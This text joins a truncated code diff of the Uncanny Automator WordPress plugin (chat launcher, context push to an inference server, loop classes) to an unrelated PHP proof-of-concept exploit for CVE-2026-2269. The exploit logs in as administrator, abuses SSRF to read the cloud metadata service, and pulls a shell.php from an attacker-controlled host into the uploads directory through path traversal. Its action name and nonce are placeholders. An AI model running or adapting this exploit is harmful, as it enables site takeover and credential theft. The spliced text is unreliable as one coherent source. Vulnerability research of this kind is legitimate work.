-		if ( ! isset( $recipe['actions']['items'] ) || ! is_array( $recipe['actions']['items'] ) ) {
-			return array(
-				'actions'          => $actions,
-				'conditions_group' => $conditions_group,
-			);
+		// Hidden pages (e.g. recipe activity details) use "admin_page_uncanny-automator-*".
+		if ( 0 === strpos( $current_screen->id, 'admin_page_uncanny-automator-' ) ) {
+			return true;
 		}

-		foreach ( $recipe['actions']['items'] as $item ) {
-
-			if ( ! is_array( $item ) ) {
-				continue;
-			}
-
-			$item_type = $item['type'] ?? '';
-
-			// Handle root-level actions.
-			if ( 'action' === $item_type ) {
-				$action = $this->extract_single_action( $item );
-				if ( ! empty( $action ) ) {
-					$actions[] = $action;
-				}
-			}
-
-			// Handle condition groups (filters).
-			if ( 'filter' === $item_type ) {
-				$group = $this->extract_condition_group( $item );
-				// Only add non-empty groups.
-				if ( ! empty( $group['conditions'] ) || ! empty( $group['actions'] ) ) {
-					$conditions_group[] = $group;
-				}
-			}
+		// WordPress dashboard (/wp-admin/index.php).
+		if ( 'dashboard' === $current_screen->id ) {
+			return true;
 		}

-		return array(
-			'actions'          => $actions,
-			'conditions_group' => $conditions_group,
-		);
+		return false;
 	}

 	/**
-	 * Extract a single action from item data.
+	 * Generate the launcher HTML element including CSS.
 	 *
-	 * @param array $item Action item data.
-	 * @return array Action object with id and sentence, or empty array if invalid.
-	 */
-	private function extract_single_action( array $item ): array {
-
-		// Validate required fields.
-		if ( ! isset( $item['id'] ) || ! isset( $item['backup']['sentence'] ) ) {
-			return array();
-		}
-
-		// Skip if sentence is empty.
-		if ( empty( $item['backup']['sentence'] ) || ! is_string( $item['backup']['sentence'] ) ) {
-			return array();
-		}
-
-		return array(
-			'id'       => absint( $item['id'] ),
-			'sentence' => sanitize_text_field( $item['backup']['sentence'] ),
-		);
-	}
-
-	/**
-	 * Extract a condition group (filter) from item data.
+	 * Handles all the logic: payload generation, recipe fetching, context building, CSS styles, and HTML element. Returns empty string on any failure.
 	 *
-	 * @param array $item Filter item data.
-	 * @return array Group object with conditions and actions arrays.
+	 * @param int $recipe_id Recipe post ID.
+	 * @return string The CSS and launcher HTML, or empty string on failure.
 	 */
-	private function extract_condition_group( array $item ): array {
-
-		$group = array(
-			'conditions' => array(),
-			'actions'    => array(),
-		);
-
-		// Extract conditions.
-		if ( isset( $item['conditions'] ) && is_array( $item['conditions'] ) ) {
-
-			foreach ( $item['conditions'] as $condition ) {
-
-				if ( ! is_array( $condition ) ) {
-					continue;
-				}
-
-				// Validate required fields.
-				if ( ! isset( $condition['id'] ) || ! isset( $condition['backup']['sentence'] ) ) {
-					continue;
-				}
-
-				// Skip if sentence is empty.
-				if ( empty( $condition['backup']['sentence'] ) || ! is_string( $condition['backup']['sentence'] ) ) {
-					continue;
-				}
-
-				$group['conditions'][] = array(
-					'id'       => sanitize_text_field( $condition['id'] ),
-					'sentence' => sanitize_text_field( $condition['backup']['sentence'] ),
-				);
+	private function generate_launcher_html(): string {
+		$payload = $this->payload_service->generate_encrypted_payload( array() );

-			}
+		if ( '' === $payload ) {
+			return '';
 		}

-		// Extract actions within the filter.
-		if ( isset( $item['items'] ) && is_array( $item['items'] ) ) {
+		// Check if we can dock the widget to the right
+		$can_dock_to_right = $this->in_allowed_pages();

-			foreach ( $item['items'] as $filter_action ) {
+		// Infer view mode based on the can dock to right flag
+		$view_mode = $can_dock_to_right ? 'fab' : 'bottom-dock';

-				if ( ! is_array( $filter_action ) ) {
-					continue;
-				}
-
-				// Only process action types.
-				if ( 'action' !== ( $filter_action['type'] ?? '' ) ) {
-					continue;
-				}
-
-				$action = $this->extract_single_action( $filter_action );
-
-				if ( ! empty( $action ) ) {
-					$group['actions'][] = $action;
-				}
-			}
-		}
+		$launcher = sprintf(
+			'<ua-chat-launcher
+				server-url="%s"
+				payload="%s"
+				parent-selector="#wpbody"
+				consumer-server-url="%s"
+				consumer-nonce="%s"
+				bundle-url="%s"
+				bundle-css-url="%s"
+				view-mode="%s"
+				%s
+			></ua-chat-launcher>',
+			esc_attr( self::get_inference_url() ),
+			esc_attr( $payload ),
+			esc_url_raw( rest_url() . AUTOMATOR_REST_API_END_POINT ),
+			esc_attr( wp_create_nonce( 'wp_rest' ) ),
+			esc_url( $this->get_sdk_url() ),
+			esc_url( $this->get_sdk_css_url() ),
+			esc_attr( $view_mode ),
+			( $can_dock_to_right ? 'can-dock-to-right' : '' )
+		);

-		return $group;
+		return $this->get_inline_css() . $launcher;
 	}

 	/**
@@ -587,9 +373,10 @@
 	 * @return string
 	 */
 	public static function get_inference_url(): string {
-		$url = defined( 'AUTOMATOR_MCP_CLIENT_INFERENCE_URL' ) && AUTOMATOR_MCP_CLIENT_INFERENCE_URL
-			? AUTOMATOR_MCP_CLIENT_INFERENCE_URL
-			: self::INFERENCE_URL;
+		$url = defined( 'AUTOMATOR_MCP_CLIENT_INFERENCE_URL' )
+			&& AUTOMATOR_MCP_CLIENT_INFERENCE_URL
+				? AUTOMATOR_MCP_CLIENT_INFERENCE_URL
+				: self::INFERENCE_URL;

 		return apply_filters( 'automator_mcp_client_inference_url', $url );
 	}
@@ -639,11 +426,93 @@
 			);
 		}

+		$context = $this->build_context_for_refresh( $page_url );
+
+		// Push updated context to the inference server so the AI agent
+		// picks it up on the next turn without waiting for a new message.
+		$this->send_context_to_inference_server( $payload, $context );
+
 		return rest_ensure_response(
 			array(
 				'encrypted_payload' => $payload,
+				'context'           => $context,
+			)
+		);
+	}
+
+	/**
+	 * Build agent context for the refresh endpoint.
+	 *
+	 * When a page_url is provided (detached window mode), derives context from
+	 * the URL instead of relying on WordPress globals.
+	 *
+	 * @param string|null $page_url Optional page URL from the request.
+	 *
+	 * @return array<string, mixed>
+	 */
+	private function build_context_for_refresh( ?string $page_url ): array {
+
+		if ( is_string( $page_url ) && '' !== $page_url ) {
+			return $this->create_url_agent_context( $page_url )->build();
+		}
+
+		return $this->agent_context->build();
+	}
+
+	/**
+	 * Push updated context to the inference server.
+	 *
+	 * Fire-and-forget: a short timeout prevents blocking the REST response.
+	 * Failures are silently ignored — the AI will still work with stale context
+	 * until the next successful push.
+	 *
+	 * @param string              $encrypted_payload The freshly encrypted payload (used for auth on the inference side).
+	 * @param array<string,mixed> $context           The ModelContext array.
+	 *
+	 * @return void
+	 */
+	private function send_context_to_inference_server( string $encrypted_payload, array $context ): void {
+
+		$url = self::get_inference_url();
+
+		if ( '' === $url ) {
+			return;
+		}
+
+		$body = wp_json_encode(
+			array(
+				'encrypted_payload' => $encrypted_payload,
+				'context'           => $context,
 			)
 		);
+
+		if ( false === $body ) {
+			return;
+		}
+
+		wp_remote_post(
+			trailingslashit( $url ) . 'api/context/update',
+			array(
+				'headers'   => array( 'Content-Type' => 'application/json' ),
+				'body'      => $body,
+				'timeout'   => 30,
+				'blocking'  => false,
+				'sslverify' => true,
+			)
+		);
+	}
+
+	/**
+	 * Create an Agent_Context that derives data from a URL.
+	 *
+	 * Extracted as a protected method so tests can substitute a stub.
+	 *
+	 * @param string $page_url The admin page URL.
+	 *
+	 * @return Agent_Context
+	 */
+	protected function create_url_agent_context( string $page_url ): Agent_Context {
+		return new Url_Agent_Context( $page_url );
 	}

 	/**
@@ -719,27 +588,38 @@
 	}

 	/**
-	 * Get metadata to send to the MCP client.
+	 * Returns the inline CSS styles for the chat launcher and its container.
 	 *
 	 * @return string
 	 */
-	private function get_metadata(): string {
-
-		global $wp;
-
-		$current_url = home_url( add_query_arg( $_GET, $wp->request ) );
+	private function get_inline_css(): string {
+		return '<style>
+			#poststuff {
+				container-type: inline-size;
+				container-name: recipe-container;
+				min-width: auto !important;
+			}

-		$server_software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification -- No sensitive data.
+			@container recipe-container (max-width: 800px) {
+				#post-body {
+					display: flex;
+					flex-direction: column;
+					align-items: flex-start;
+					margin-right: 0 !important;
+				}

-		$metadata = array(
-			'plugin_version'  => AUTOMATOR_PLUGIN_VERSION,
-			'current_url'     => $current_url,
-			'php_version'     => PHP_VERSION,
-			'wp_version'      => get_bloginfo( 'version' ),
-			'server_software' => ! empty( $server_software ) ? $server_software : 'unknown',
-		);
+				#post-body,
+				#postbox-container-1,
+				#postbox-container-2,
+				#side-sortables {
+					margin-right: 0 !important;
+					width: 100% !important;
+				}
+			}

-		// Safe to ignore false return - array is well-formed. Using base64 to safely encode JSON for payload.
-		return base64_encode( wp_json_encode( $metadata ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions -- No sensitive data.
+			ua-chat-launcher {
+				--ua-mpc-chat-launcher-z-index: 159900;
+			}
+		</style>';
 	}
 }
--- a/uncanny-automator/src/api/components/action/class-action.php
+++ b/uncanny-automator/src/api/components/action/class-action.php
@@ -165,6 +165,34 @@
 	}

 	/**
+	 * Create a new Action with a different parent ID.
+	 *
+	 * Returns a new immutable Action instance with the updated parent.
+	 * Used when moving an action between recipe and loop.
+	 *
+	 * @param int $new_parent_id New parent ID (recipe or loop).
+	 * @return Action New Action instance with updated parent.
+	 */
+	public function with_parent_id( int $new_parent_id ): Action {
+		$config = ( new Action_Config() )
+			->id( $this->action_id->get_value() )
+			->integration_code( $this->action_integration_code->get_value() )
+			->code( $this->action_code->get_value() )
+			->meta_code( $this->action_meta_code->get_value() )
+			->user_type( $this->action_type->get_value() )
+			->recipe_id( $this->action_recipe_id->get_value() )
+			->meta( $this->action_meta->to_array() )
+			->is_deprecated( $this->deprecated->get_value() )
+			->parent_id( new Uncanny_AutomatorApiComponentsRecipeValue_ObjectsRecipe_Id( $new_parent_id ) );
+
+		if ( null !== $this->status ) {
+			$config->status( $this->status->get_value() );
+		}
+
+		return new Action( $config );
+	}
+
+	/**
 	 * Convert to array.
 	 *
 	 * @return array Action data as array.
--- a/uncanny-automator/src/api/components/loop/class-loop-config.php
+++ b/uncanny-automator/src/api/components/loop/class-loop-config.php
@@ -0,0 +1,303 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsLoop;
+
+use Uncanny_AutomatorApiComponentsLoopEnumsLoop_Status;
+use Uncanny_AutomatorApiComponentsLoopIterable_ExpressionEnumsIteration_Type;
+
+/**
+ * Loop Configuration.
+ *
+ * Data transfer object for loop configuration with fluent interface.
+ * Contains no validation logic - serves as a bridge between raw data
+ * and validated domain objects.
+ *
+ * @since 7.0.0
+ */
+class Loop_Config {
+
+	/**
+	 * Generic data storage.
+	 *
+	 * @var array
+	 */
+	private array $data = array();
+
+	/**
+	 * Loop ID.
+	 *
+	 * @var int|null
+	 */
+	private ?int $id = null;
+
+	/**
+	 * Recipe ID.
+	 *
+	 * @var int|null
+	 */
+	private ?int $recipe_id = null;
+
+	/**
+	 * Loop status.
+	 *
+	 * @var string|null
+	 */
+	private ?string $status = null;
+
+	/**
+	 * UI order.
+	 *
+	 * @var int|null
+	 */
+	private ?int $ui_order = null;
+
+	/**
+	 * Iterable expression.
+	 *
+	 * @var array
+	 */
+	private array $iterable_expression = array();
+
+	/**
+	 * Run on condition.
+	 *
+	 * @var mixed
+	 */
+	private $run_on = null;
+
+	/**
+	 * Loop filters.
+	 *
+	 * @var array
+	 */
+	private array $filters = array();
+
+	/**
+	 * Loop items (action IDs).
+	 *
+	 * @var array
+	 */
+	private array $items = array();
+
+	/**
+	 * Set a configuration value (generic approach).
+	 *
+	 * @param string $key   Configuration key.
+	 * @param mixed  $value Configuration value.
+	 * @return self
+	 */
+	public function set( string $key, $value ): self {
+		$this->data[ $key ] = $value;
+		return $this;
+	}
+
+	/**
+	 * Get a configuration value (generic approach).
+	 *
+	 * @param string $key           Configuration key.
+	 * @param mixed  $default_value Default value if key not found.
+	 * @return mixed
+	 */
+	public function get( string $key, $default_value = null ) {
+		return $this->data[ $key ] ?? $default_value;
+	}
+
+	/**
+	 * Set loop ID.
+	 *
+	 * @param int|null $id Loop ID.
+	 * @return self
+	 */
+	public function id( $id ): self {
+		$this->id = $id;
+		return $this;
+	}
+
+	/**
+	 * Set recipe ID.
+	 *
+	 * @param int|null $recipe_id Recipe ID.
+	 * @return self
+	 */
+	public function recipe_id( $recipe_id ): self {
+		$this->recipe_id = $recipe_id;
+		return $this;
+	}
+
+	/**
+	 * Set loop status.
+	 *
+	 * @param string $status Loop status ('draft' or 'publish').
+	 * @return self
+	 */
+	public function status( string $status ): self {
+		$this->status = $status;
+		return $this;
+	}
+
+	/**
+	 * Set UI order.
+	 *
+	 * @param int $ui_order UI order value.
+	 * @return self
+	 */
+	public function ui_order( int $ui_order ): self {
+		$this->ui_order = $ui_order;
+		return $this;
+	}
+
+	/**
+	 * Set iterable expression.
+	 *
+	 * @param array $iterable_expression Iterable expression configuration.
+	 * @return self
+	 */
+	public function iterable_expression( array $iterable_expression ): self {
+		$this->iterable_expression = $iterable_expression;
+		return $this;
+	}
+
+	/**
+	 * Set run on condition.
+	 *
+	 * @param mixed $run_on Run on condition.
+	 * @return self
+	 */
+	public function run_on( $run_on ): self {
+		$this->run_on = $run_on;
+		return $this;
+	}
+
+	/**
+	 * Set loop filters.
+	 *
+	 * @param array $filters Loop filters.
+	 * @return self
+	 */
+	public function filters( array $filters ): self {
+		$this->filters = $filters;
+		return $this;
+	}
+
+	/**
+	 * Set loop items.
+	 *
+	 * @param array $items Loop items (action IDs).
+	 * @return self
+	 */
+	public function items( array $items ): self {
+		$this->items = $items;
+		return $this;
+	}
+
+	/**
+	 * Get loop ID.
+	 *
+	 * @return int|null
+	 */
+	public function get_id() {
+		return $this->id;
+	}
+
+	/**
+	 * Get recipe ID.
+	 *
+	 * @return int|null
+	 */
+	public function get_recipe_id() {
+		return $this->recipe_id;
+	}
+
+	/**
+	 * Get loop status.
+	 *
+	 * @return string|null
+	 */
+	public function get_status(): ?string {
+		return $this->status;
+	}
+
+	/**
+	 * Get UI order.
+	 *
+	 * @return int|null
+	 */
+	public function get_ui_order(): ?int {
+		return $this->ui_order;
+	}
+
+	/**
+	 * Get iterable expression.
+	 *
+	 * @return array
+	 */
+	public function get_iterable_expression(): array {
+		return $this->iterable_expression;
+	}
+
+	/**
+	 * Get run on condition.
+	 *
+	 * @return mixed
+	 */
+	public function get_run_on() {
+		return $this->run_on;
+	}
+
+	/**
+	 * Get loop filters.
+	 *
+	 * @return array
+	 */
+	public function get_filters(): array {
+		return $this->filters;
+	}
+
+	/**
+	 * Get loop items.
+	 *
+	 * @return array
+	 */
+	public function get_items(): array {
+		return $this->items;
+	}
+
+	/**
+	 * Create from array.
+	 *
+	 * Validates input types to prevent runtime errors.
+	 *
+	 * @param array $data Array data.
+	 * @return self
+	 * @throws InvalidArgumentException If data types are invalid.
+	 */
+	public static function from_array( array $data ): self {
+		// Validate iterable_expression is array.
+		if ( isset( $data['iterable_expression'] ) && ! is_array( $data['iterable_expression'] ) ) {
+			throw new InvalidArgumentException( 'iterable_expression must be an array' );
+		}
+
+		// Validate filters is array.
+		if ( isset( $data['filters'] ) && ! is_array( $data['filters'] ) ) {
+			throw new InvalidArgumentException( 'filters must be an array' );
+		}
+
+		// Validate items is array.
+		if ( isset( $data['items'] ) && ! is_array( $data['items'] ) ) {
+			throw new InvalidArgumentException( 'items must be an array' );
+		}
+
+		$config = ( new self() )
+			->id( isset( $data['id'] ) ? (int) $data['id'] : null )
+			->recipe_id( isset( $data['recipe_id'] ) ? (int) $data['recipe_id'] : ( isset( $data['post_parent'] ) ? (int) $data['post_parent'] : null ) )
+			->status( $data['status'] ?? $data['post_status'] ?? Loop_Status::DRAFT )
+			->ui_order( isset( $data['ui_order'] ) ? (int) $data['ui_order'] : ( isset( $data['_ui_order'] ) ? (int) $data['_ui_order'] : 2 ) )
+			->iterable_expression( $data['iterable_expression'] ?? array( 'type' => Iteration_Type::USERS ) )
+			->run_on( $data['run_on'] ?? null )
+			->filters( $data['filters'] ?? array() )
+			->items( $data['items'] ?? array() );
+
+		return $config;
+	}
+}
--- a/uncanny-automator/src/api/components/loop/class-loop.php
+++ b/uncanny-automator/src/api/components/loop/class-loop.php
@@ -0,0 +1,355 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsLoop;
+
+use Uncanny_AutomatorApiComponentsInterfacesParent_Id;
+use Uncanny_AutomatorApiComponentsLoopValue_ObjectsLoop_Id;
+use Uncanny_AutomatorApiComponentsLoopValue_ObjectsLoop_Recipe_Id;
+use Uncanny_AutomatorApiComponentsLoopValue_ObjectsLoop_Status_Value;
+use Uncanny_AutomatorApiComponentsLoopValue_ObjectsLoop_Ui_Order;
+use Uncanny_AutomatorApiComponentsLoopIterable_ExpressionExpression;
+use Uncanny_AutomatorApiComponentsLoopFilterFilter;
+use Uncanny_AutomatorApiComponentsLoopEnumsLoop_Status;
+
+/**
+ * Loop Aggregate.
+ *
+ * Root aggregate of the Loop domain.
+ * Pure domain object representing a loop within a recipe.
+ * Contains zero WordPress dependencies - pure PHP business logic only.
+ *
+ * Loops iterate over a set of entities (users, posts, or tokens) and execute
+ * contained actions for each entity in the set.
+ *
+ * Implements Parent_Id interface to allow it to be used as a parent reference for actions.
+ *
+ * This aggregate coordinates two bounded contexts:
+ * - Iterable_Expression: Defines what the loop iterates over
+ * - Filter: Defines how to filter the iteration set
+ *
+ * @since 7.0.0
+ */
+class Loop implements Parent_Id {
+
+	/**
+	 * Loop ID.
+	 *
+	 * @var Loop_Id
+	 */
+	private Loop_Id $loop_id;
+
+	/**
+	 * Recipe ID.
+	 *
+	 * @var Loop_Recipe_Id
+	 */
+	private Loop_Recipe_Id $recipe_id;
+
+	/**
+	 * Loop status.
+	 *
+	 * @var Loop_Status_Value|null
+	 */
+	private ?Loop_Status_Value $status = null;
+
+	/**
+	 * UI order.
+	 *
+	 * @var Loop_Ui_Order
+	 */
+	private Loop_Ui_Order $ui_order;
+
+	/**
+	 * Iterable expression (from Iterable_Expression bounded context).
+	 *
+	 * @var Expression
+	 */
+	private Expression $expression;
+
+	/**
+	 * Run on condition.
+	 *
+	 * @var mixed
+	 */
+	private $run_on = null;
+
+	/**
+	 * Loop filters (from Filter bounded context).
+	 *
+	 * @var Filter[]
+	 */
+	private array $filters = array();
+
+	/**
+	 * Loop items (action IDs within this loop).
+	 *
+	 * @var array
+	 */
+	private array $items = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @param Loop_Config $config Loop configuration object.
+	 */
+	public function __construct( Loop_Config $config ) {
+		$this->loop_id   = new Loop_Id( $config->get_id() );
+		$this->recipe_id = new Loop_Recipe_Id( $config->get_recipe_id() );
+		$this->ui_order  = new Loop_Ui_Order( $config->get_ui_order() );
+
+		// Set iterable expression (from Iterable_Expression bounded context)
+		$expression_data  = $config->get_iterable_expression();
+		$this->expression = Expression::from_array( $expression_data );
+
+		// Set status if provided
+		if ( null !== $config->get_status() ) {
+			$this->status = new Loop_Status_Value( $config->get_status() );
+		}
+
+		// Set run_on condition
+		$this->run_on = $config->get_run_on();
+
+		// Build Filter entities from config filters (from Filter bounded context)
+		$this->build_filters( $config->get_filters() );
+
+		// Store item references (action IDs)
+		$this->items = $config->get_items();
+
+		$this->validate_business_rules();
+	}
+
+	/**
+	 * Get loop ID value.
+	 *
+	 * Implements Parent_Id interface.
+	 *
+	 * @return int|null The loop identifier, or null for new loops.
+	 */
+	public function get_value(): ?int {
+		return $this->loop_id->get_value();
+	}
+
+	/**
+	 * Get loop ID.
+	 *
+	 * @return Loop_Id
+	 */
+	public function get_loop_id(): Loop_Id {
+		return $this->loop_id;
+	}
+
+	/**
+	 * Get recipe ID.
+	 *
+	 * @return Loop_Recipe_Id
+	 */
+	public function get_recipe_id(): Loop_Recipe_Id {
+		return $this->recipe_id;
+	}
+
+	/**
+	 * Get loop status.
+	 *
+	 * @return Loop_Status_Value|null
+	 */
+	public function get_status(): ?Loop_Status_Value {
+		return $this->status;
+	}
+
+	/**
+	 * Get UI order.
+	 *
+	 * @return Loop_Ui_Order
+	 */
+	public function get_ui_order(): Loop_Ui_Order {
+		return $this->ui_order;
+	}
+
+	/**
+	 * Get iterable expression.
+	 *
+	 * @return Expression
+	 */
+	public function get_expression(): Expression {
+		return $this->expression;
+	}
+
+	/**
+	 * Get run on condition.
+	 *
+	 * @return mixed
+	 */
+	public function get_run_on() {
+		return $this->run_on;
+	}
+
+	/**
+	 * Get loop filters.
+	 *
+	 * @return Filter[]
+	 */
+	public function get_filters(): array {
+		return $this->filters;
+	}
+
+	/**
+	 * Get loop items (action IDs).
+	 *
+	 * @return array
+	 */
+	public function get_items(): array {
+		return $this->items;
+	}
+
+	/**
+	 * Check if this is a users loop.
+	 *
+	 * @return bool
+	 */
+	public function is_user_loop(): bool {
+		return $this->expression->is_users();
+	}
+
+	/**
+	 * Check if this is a posts loop.
+	 *
+	 * @return bool
+	 */
+	public function is_post_loop(): bool {
+		return $this->expression->is_posts();
+	}
+
+	/**
+	 * Check if this is a token loop.
+	 *
+	 * @return bool
+	 */
+	public function is_token_loop(): bool {
+		return $this->expression->is_token();
+	}
+
+	/**
+	 * Check if loop is persisted.
+	 *
+	 * @return bool True if loop has been saved to database.
+	 */
+	public function is_persisted(): bool {
+		return null !== $this->loop_id->get_value() && $this->loop_id->get_value() > 0;
+	}
+
+	/**
+	 * Check if loop is published.
+	 *
+	 * @return bool
+	 */
+	public function is_published(): bool {
+		return null !== $this->status && $this->status->is_published();
+	}
+
+	/**
+	 * Check if loop is draft.
+	 *
+	 * @return bool
+	 */
+	public function is_draft(): bool {
+		return null === $this->status || $this->status->is_draft();
+	}
+
+	/**
+	 * Check if loop has filters.
+	 *
+	 * @return bool
+	 */
+	public function has_filters(): bool {
+		return ! empty( $this->filters );
+	}
+
+	/**
+	 * Check if loop has items.
+	 *
+	 * @return bool
+	 */
+	public function has_items(): bool {
+		return ! empty( $this->items );
+	}
+
+	/**
+	 * Get filter count.
+	 *
+	 * @return int
+	 */
+	public function get_filter_count(): int {
+		return count( $this->filters );
+	}
+
+	/**
+	 * Get item count.
+	 *
+	 * @return int
+	 */
+	public function get_item_count(): int {
+		return count( $this->items );
+	}
+
+	/**
+	 * Convert to array.
+	 *
+	 * @return array Loop data as array.
+	 */
+	public function to_array(): array {
+		$filters_array = array();
+		foreach ( $this->filters as $filter ) {
+			$filters_array[] = $filter->to_array();
+		}
+
+		return array(
+			'type'                => 'loop',
+			'id'                  => $this->loop_id->get_value(),
+			'recipe_id'           => $this->recipe_id->get_value(),
+			'status'              => null !== $this->status ? $this->status->get_value() : Loop_Status::DRAFT,
+			'_ui_order'           => $this->ui_order->get_value(),
+			'iterable_expression' => $this->expression->to_array(),
+			'run_on'              => $this->run_on,
+			'filters'             => $filters_array,
+			'items'               => $this->items,
+		);
+	}
+
+	/**
+	 * Create from array.
+	 *
+	 * @param array $data Array data.
+	 * @return self
+	 */
+	public static function from_array( array $data ): self {
+		return new self( Loop_Config::from_array( $data ) );
+	}
+
+	/**
+	 * Build Filter entities from filter data.
+	 *
+	 * @param array $filters_data Raw filter data.
+	 */
+	private function build_filters( array $filters_data ): void {
+		foreach ( $filters_data as $filter_data ) {
+			if ( is_array( $filter_data ) ) {
+				$this->filters[] = Filter::from_array( $filter_data );
+			} elseif ( $filter_data instanceof Filter ) {
+				$this->filters[] = $filter_data;
+			}
+		}
+	}
+
+	/**
+	 * Validate business rules.
+	 *
+	 * @throws InvalidArgumentException If business rules are violated.
+	 */
+	private function validate_business_rules(): void {
+		// Business rule: Loops must belong to a recipe
+		if ( $this->recipe_id->is_null() ) {
+			throw new InvalidArgumentException( 'Loop must belong to a recipe (recipe_id required)' );
+		}
+	}
+}
--- a/uncanny-automator/src/api/components/loop/enums/class-loop-status.php
+++ b/uncanny-automator/src/api/components/loop/enums/class-loop-status.php
@@ -0,0 +1,49 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsLoopEnums;
+
+/**
+ * Loop Status Enum.
+ *
+ * Represents the status of a loop (draft or published).
+ * PHP 7.4 compatible class-based enum.
+ * Upgrade to PHP 8.1 enum in the future.
+ *
+ * @since 7.0.0
+ */
+class Loop_Status {
+
+	/**
+	 * Draft status - loop is not active.
+	 *
+	 * @var string
+	 */
+	const DRAFT = 'draft';
+
+	/**
+	 * Publish status - loop is active and will execute.
+	 *
+	 * @var string
+	 */
+	const PUBLISH = 'publish';
+
+	/**
+	 * Validate status value.
+	 *
+	 * @param string $value Status value to validate.
+	 * @return bool True if valid, false otherwise.
+	 */
+	public static function is_valid( string $value ): bool {
+		return in_array( $value, array( self::DRAFT, self::PUBLISH ), true );
+	}
+
+	/**
+	 * Get all valid status values.
+	 *
+	 * @return array<string> Array of valid status values.
+	 */
+	public static function get_all(): array {
+		return array( self::DRAFT, self::PUBLISH );
+	}
+}
--- a/uncanny-automator/src/api/components/loop/filter/class-config.php
+++ b/uncanny-automator/src/api/components/loop/filter/class-config.php
@@ -0,0 +1,205 @@
+<?php
+// phpcs:disable WordPress.Security.EscapeOutput, WordPress.WP.I18n
+declare(strict_types=1);
+namespace Uncanny_AutomatorApiComponentsLoopFilter;
+
+/**
+ * Config DTO.
+ *
+ * Data transfer object for filter configuration with fluent interface.
+ * Models the database schema for uo-loop-filter post type.
+ *
+ * @since 7.0.0
+ */
+class Config {
+
+	private ?int $id                  = null;
+	private ?string $code             = null;
+	private ?string $integration_code = null;
+	private ?string $integration_name = null;
+	private string $type              = 'lite';
+	private string $user_type         = 'user';
+	private array $fields             = array();
+	private array $backup             = array();
+	private ?string $version          = null;
+	/**
+	 * Id.
+	 *
+	 * @param int $id The ID.
+	 * @return self
+	 */
+	public function id( ?int $id ): self {
+		$this->id = $id;
+		return $this;
+	}
+	/**
+	 * Code.
+	 *
+	 * @param string $code The code.
+	 * @return self
+	 */
+	public function code( string $code ): self {
+		$this->code = $code;
+		return $this;
+	}
+	/**
+	 * Integration code.
+	 *
+	 * @param string $integration_code The integration code.
+	 * @return self
+	 */
+	public function integration_code( string $integration_code ): self {
+		$this->integration_code = $integration_code;
+		return $this;
+	}
+	/**
+	 * Integration name.
+	 *
+	 * @param string $integration_name The name.
+	 * @return self
+	 */
+	public function integration_name( string $integration_name ): self {
+		$this->integration_name = $integration_name;
+		return $this;
+	}
+	/**
+	 * Type.
+	 *
+	 * @param string $type The 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2269 - Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 7.0.0.3 - Authenticated (Administrator+) Server-Side Request Forgery to Arbitrary File Upload
<?php

$target_url = 'http://target-wordpress-site.com';
$admin_user = 'administrator';
$admin_pass = 'password';
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
$upload_file_url = 'http://attacker-controlled.com/shell.php';

// Step 1: Authenticate as Administrator
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_2269');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);

// Step 2: Exploit SSRF via download_url() function
// This simulates a request to the vulnerable endpoint that calls download_url()
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'automator_webhook_receive', // Example vulnerable action
    'url' => $ssrf_target, // User-controlled URL parameter
    'nonce' => 'valid_nonce_required_here' // Nonce would be obtained from admin page
]));
$ssrf_response = curl_exec($ch);
echo "SSRF Response: " . htmlspecialchars($ssrf_response) . "n";

// Step 3: Arbitrary file upload via same vector
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'automator_webhook_receive',
    'url' => $upload_file_url, // URL pointing to malicious PHP file
    'nonce' => 'valid_nonce_required_here',
    'save_path' => '../../uploads/shell.php' // Potential path traversal to web-accessible directory
]));
$upload_response = curl_exec($ch);
